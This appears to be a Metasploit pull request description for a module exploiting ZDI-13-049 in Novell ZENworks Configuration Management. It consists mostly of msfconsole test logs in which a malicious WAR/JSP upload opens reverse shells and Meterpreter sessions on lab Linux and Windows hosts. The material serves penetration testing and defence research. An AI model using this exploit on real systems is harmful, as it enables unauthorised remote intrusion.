rapid7/metasploit-framework — pull request #1691 by jvazquez-r7 (2013-03-30 18:38:24+00:00)
Title: Added module for ZDI-13-049

Tested successfully on ZENworks Configuration Management 10 SP3 and 11 SP2 on Windows 2003 SP2 and SUSE Linux Enterprise Server 10 SP3

* Test on Linux

```
msf exploit(zenworks_control_center_upload) > show options

Module options (exploit/multi/http/zenworks_control_center_upload):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 443 yes The target port
SSL true yes Use SSL
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
1 ZENworks Configuration Management 10 SP3 and 11 SP2 / SUSE Linux Enterprise Server 10 SP3

msf exploit(zenworks_control_center_upload) > set rhost 192.168.1.146
rhost => 192.168.1.146
msf exploit(zenworks_control_center_upload) > check
[*] The target service is running, but could not be validated.
msf exploit(zenworks_control_center_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Uploading 1688 bytes as Dhsx6H.war ...
[*] Upload finished, waiting 20 seconds for payload deployment...
[*] Triggering payload at '/Dhsx6H/JR9EGXKxhvE.jsp' ...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.146:47098) at 2013-03-30 19:32:05 +0100

id
uid=103(zenworks) gid=105(zenworks) groups=105(zenworks),106(zmanusers),107(casaauth)
uname -a
Linux linux-0u1f 2.6.16.60-0.54.5-default #1 Fri Sep 4 01:28:03 UTC 2009 i686 i686 i386 GNU/Linux

```

* Test on Windows

```

msf exploit(zenworks_control_center_upload) > set target 0
target => 0
msf exploit(zenworks_control_center_upload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(zenworks_control_center_upload) > set rhost 192.168.1.145
rhost => 192.168.1.145
msf exploit(zenworks_control_center_upload) > check
r[*] The target service is running, but could not be validated.
msf exploit(zenworks_control_center_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Uploading 52215 bytes as jwven.war ...
[*] Upload finished, waiting 20 seconds for payload deployment...
[*] Triggering payload at '/jwven/jQtgKERzenc.jsp' ...
[*] Sending stage (752128 bytes) to 192.168.1.145
[*] Meterpreter session 2 opened (192.168.1.129:4444 -> 192.168.1.145:1220) at 2013-03-30 19:34:07 +0100

meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: JUAN-6ED9DB6CA8\__z_1_145__

```